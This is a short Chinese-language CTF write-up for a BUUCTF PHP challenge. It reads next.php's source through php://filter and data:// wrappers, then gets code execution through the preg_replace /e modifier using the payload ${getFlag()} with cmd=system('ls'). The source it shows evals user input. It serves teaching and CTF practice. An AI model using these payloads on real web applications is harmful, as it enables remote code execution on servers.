考点:正则匹配;
正则-反向引用;
preg_replace /e模式漏洞
1.
一路做buuctf下来,
web buuctf [ZJCTF 2019]NiZhuanSiWei1_半杯雨水敬过客的博客-CSDN博客
和这题的思路一样,不做赘述,主要是利用php伪协议
1.令text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=(I have a dream的base64加密)
file=php://filter/read=convert.base64-encode/resource=next.php
查看到next.php的源码(经过base64解码):
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
2.查看源代码,用到了preg_replace /e模式的漏洞
Preg_Replace代码执行漏洞解析-CE安全网前言https://www.cesafe.com/html/6999.html上面的链接具体讲了这个漏洞,其实主要是对代码
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei', // /e模式,可以将里面的代码作为命令进行执行,结合题目,调用
// getFlag()函数
'strtolower("\\1")', //反向引用,\\1转义后伪\1,反向引用会建立缓冲匹配池
$str
);
}
令next.php?\S*=${getFlag()}&cmd=system('ls');